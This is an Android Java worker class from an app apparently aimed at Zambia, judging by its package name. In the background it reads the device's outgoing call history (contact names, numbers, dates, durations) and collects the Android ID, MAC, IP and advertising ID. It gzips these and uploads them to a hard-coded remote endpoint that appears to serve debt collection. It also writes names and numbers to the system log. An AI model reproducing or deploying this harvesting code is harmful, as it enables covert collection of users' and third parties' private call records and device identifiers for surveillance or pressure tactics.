package com.collect.zambia.zhiCallLogWorker;

import android.Manifest;
import android.annotation.SuppressLint;
import android.content.ContentResolver;
import android.content.Context;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.net.Uri;
import android.provider.CallLog;
import android.provider.Settings;
import android.text.TextUtils;
import android.util.Log;

import androidx.annotation.NonNull;
import androidx.core.content.ContextCompat;
import androidx.work.Worker;
import androidx.work.WorkerParameters;

import com.collect.zambia.zhiGlobal.zhiAppSettings.ZHIProjectConstants;
import com.collect.zambia.zhiUtils.SPUtils;
import com.collect.zambia.zhiUtils.StringUtil;
import com.google.gson.Gson;
import com.zhi.inisyccalllog.beans.ASCallLogInfoBean;
import com.zhi.inisyccalllog.services.ASNetParams;
import com.zhi.inisyccalllog.util.ASUtil;
import com.zhi.syc.data_applist.util.ASNetworkUtil;

import java.io.IOException;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.ArrayList;

public class ZHICallLogUploadWorker extends Worker {

    public ZHICallLogUploadWorker(@NonNull Context context, @NonNull WorkerParameters workerParams) {
        super(context, workerParams);
    }

    @NonNull
    @Override
    public Result doWork() {
        // 获取最新的 Token
        String advertId = StringUtil.safeString(SPUtils.getInstance().getString(ZHIProjectConstants.GOOGLE_ADVERT_ID));
        String token = StringUtil.safeString(SPUtils.getInstance().getString(ZHIProjectConstants.USER_TOKEN));
        String loginId = StringUtil.safeString(SPUtils.getInstance().getString(ZHIProjectConstants.LOGIN_ID));
        String sysLoginName = StringUtil.safeString(SPUtils.getInstance().getString(ZHIProjectConstants.SYS_LOGIN_NAME));
        String mac = StringUtil.safeString(SPUtils.getInstance().getString(ZHIProjectConstants.MAC_ADDRESS));
        String ip = StringUtil.safeString(SPUtils.getInstance().getString(ZHIProjectConstants.IP_ADDRESS));

        if (TextUtils.isEmpty(ip)) {
            ip = ASNetworkUtil.getIPAddress(getApplicationContext());
            SPUtils.getInstance().put(ZHIProjectConstants.IP_ADDRESS, ip, true);
        }

        if (TextUtils.isEmpty(mac)) {
            mac = ASNetworkUtil.getMacAddress(getApplicationContext());
            SPUtils.getInstance().put(ZHIProjectConstants.MAC_ADDRESS, mac, true);
        }

        if (token == null) {
            Log.e(ZHICallLogUploadWorker.class.getSimpleName(), "Token is missing. Stopping work.");
            return Result.failure();
        }

        // 获取通话记录
        ASNetParams netParams = new ASNetParams();
        netParams.advertId = advertId;
        netParams.loginId = loginId;
        netParams.androidId = getAndroidID();
        netParams.mac = mac;
        netParams.ip = ip;
        netParams.setVersion("33");
        netParams.clientType = "ANDROID";
        netParams.setToken(token);
        netParams.sysLoginName = sysLoginName;

        netParams.setCallLogListGzip(getListZipString(getApplicationContext()));
        String result = new Gson().toJson(netParams).trim();

        // 上传数据
        uploadCallLogs(result, token);

        return Result.success();
//        return success ? Result.success() : Result.retry();
    }

    private String getAndroidID() {
        String androidID = Settings.System.getString(getApplicationContext().getContentResolver(), Settings.Secure.ANDROID_ID);
        if (TextUtils.isEmpty(androidID)) {
            androidID = "";
        }
        return androidID;
    }

    @SuppressLint("Recycle")
    private ArrayList<ASCallLogInfoBean> getList(Context paramContext) {
        ArrayList<ASCallLogInfoBean> arrayList = new ArrayList<>();
        try {
            ContentResolver mContentResolver = paramContext.getContentResolver();
            if (mContentResolver == null) {
                return arrayList;
            }

            if (ContextCompat.checkSelfPermission(paramContext, Manifest.permission.READ_CALL_LOG) != PackageManager.PERMISSION_GRANTED) {
                return arrayList;
            }

            Uri mCallUri = CallLog.Calls.CONTENT_URI;
            if (mCallUri == null) {
                return arrayList;
            }

            // CallLog.Calls.PHONE_ACCOUNT_ID
            String[] mColumns = {
                    CallLog.Calls.IS_READ,              //用户是否已阅读或操作，与{@link #NEW}字段不同，该字段要求用户确认条目的存在，这意味着用户已经与条目进行了交互。
                    CallLog.Calls.NEW,                  //呼叫是否被确认
                    CallLog.Calls.CACHED_NUMBER_TYPE,   //电话类型，home work
                    CallLog.Calls.CACHED_NAME,          // 通话记录的联系人
                    CallLog.Calls.NUMBER,               // 通话记录的电话号码
                    CallLog.Calls.DATE,                 // 通话记录的日期
                    CallLog.Calls.DURATION,             // 通话时长
                    CallLog.Calls.TYPE,                 // 通话类型
            };

            long dStartTime = ASUtil.getStartTime();
            long dEndTime = ASUtil.getEndTime();
            String gsql = "date>=" + dStartTime + " AND date<=" + dEndTime + " AND type=2";
            Log.d(ZHICallLogUploadWorker.class.getSimpleName(), "gsql: " + gsql);

            Cursor cursor = mContentResolver.query(
                    mCallUri,
                    mColumns,
                    gsql,
                    null,
                    CallLog.Calls.DEFAULT_SORT_ORDER
            );

            if (cursor == null) {
                return arrayList;
            }

            while (cursor.moveToNext()) {
                int type = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.TYPE));
                String typeString = "";
                switch (type) {
                    case CallLog.Calls.INCOMING_TYPE: {
                        //"1-打入"
                        typeString = "INCOMING_TYPE";
                        break;
                    }
                    case CallLog.Calls.OUTGOING_TYPE: {
                        //"2-打出"
                        typeString = "OUTGOING_TYPE";
                        break;
                    }
                    case CallLog.Calls.MISSED_TYPE: {
                        //"3-未接"
                        typeString = "MISSED_TYPE";
                        break;
                    }
                    case CallLog.Calls.VOICEMAIL_TYPE: {
                        //"4-语音信箱"
                        typeString = "VOICEMAIL_TYPE";
                        break;
                    }
                    case CallLog.Calls.REJECTED_TYPE: {
                        //"5-拒接"
                        typeString = "REJECTED_TYPE";
                        break;
                    }
                    case CallLog.Calls.BLOCKED_TYPE: {
                        //"6-自动阻止的呼叫,拉黑"
                        typeString = "BLOCKED_TYPE";
                        break;
                    }
                    default:
                        break;
                }

                //只查拨出的记录
                if (CallLog.Calls.OUTGOING_TYPE != type) {
                    continue;
                }

                int isRead = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.IS_READ));
                int isNew = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.NEW));

                String name = cursor.getString(cursor.getColumnIndex(CallLog.Calls.CACHED_NAME));
                String mobile = cursor.getString(cursor.getColumnIndex(CallLog.Calls.NUMBER));
                int duration = cursor.getInt(cursor.getColumnIndex(CallLog.Calls.DURATION));

                long dateLong = cursor.getLong(cursor.getColumnIndex(CallLog.Calls.DATE));

                ASCallLogInfoBean callLogInfoBean = new ASCallLogInfoBean();
                callLogInfoBean.setIsNew(String.valueOf(isNew));
                callLogInfoBean.setIsRead(isRead == 0 ? "YES" : "NO");
                callLogInfoBean.setDateLong(String.valueOf(dateLong));
                callLogInfoBean.setDuration(String.valueOf(duration));
                callLogInfoBean.setName(name);
                callLogInfoBean.setMobile(mobile);
                callLogInfoBean.setType(String.valueOf(type));
                callLogInfoBean.setTypeDes(typeString);
                arrayList.add(callLogInfoBean);

                Log.d(ZHICallLogUploadWorker.class.getSimpleName(), "getLogList: name: " + name + ", mobile: " + mobile + ", duration: " + duration + ", type: " + type + ", typeString: " + typeString + ", dateLong: " + dateLong);
            }

            if (!cursor.isClosed()) {
                cursor.close();
                cursor = null;
            }

        } catch (Exception e) {
            //e.printStackTrace();
        }
        return arrayList;
    }

    private String getListZipString(Context paramContext) {
        String zipString = "";
        try {
            ArrayList<ASCallLogInfoBean> infoBeans = getList(paramContext);
            Log.d(ZHICallLogUploadWorker.class.getSimpleName(), "call log count: " + infoBeans.size());
            String result = new Gson().toJson(infoBeans).trim();
            Log.d(ZHICallLogUploadWorker.class.getSimpleName(), "call log ori size: " + result.length());

            zipString = ASUtil.stringToGZIP(result);
            Log.d(ZHICallLogUploadWorker.class.getSimpleName(), "call log zip size: " + zipString.length());

            infoBeans.clear();
        } catch (Exception e) {
            //e.printStackTrace();
        }

        return zipString;
    }

    private void uploadCallLogs(String body, String token) {
        try {
            HttpURLConnection connection = getHttpURLConnection(token);
            connection.getOutputStream().write(body.getBytes());
            connection.getOutputStream().flush();
            connection.getOutputStream().close();

            int responseCode = connection.getResponseCode();
            Log.d(ZHICallLogUploadWorker.class.getSimpleName(), "Response Code: " + responseCode);

            if (responseCode == 200) {
                Log.e(ZHICallLogUploadWorker.class.getSimpleName(), "Success");
            } else {
                Log.e(ZHICallLogUploadWorker.class.getSimpleName(), "Token expired or invalid.");
            }
        } catch (Exception e) {
            //e.printStackTrace();
        }
    }

    @NonNull
    private static HttpURLConnection getHttpURLConnection(String token) throws IOException {
        URL url = new URL("https://www.globalpwa.online/zby-front/v1/dun/callRecord");
        HttpURLConnection connection = (HttpURLConnection) url.openConnection();
        connection.setRequestMethod("POST");
        connection.setReadTimeout(180000);
        connection.setConnectTimeout(120000);
        connection.setRequestMethod("POST");
        connection.setRequestProperty("Connection", "Keep-Alive");
        connection.setRequestProperty("Content-Type", "application/json; charset=UTF-8");
        connection.setRequestProperty("Authorization", "Bearer " + token); // 使用 Token
        connection.setDoOutput(true);
        return connection;
    }
}
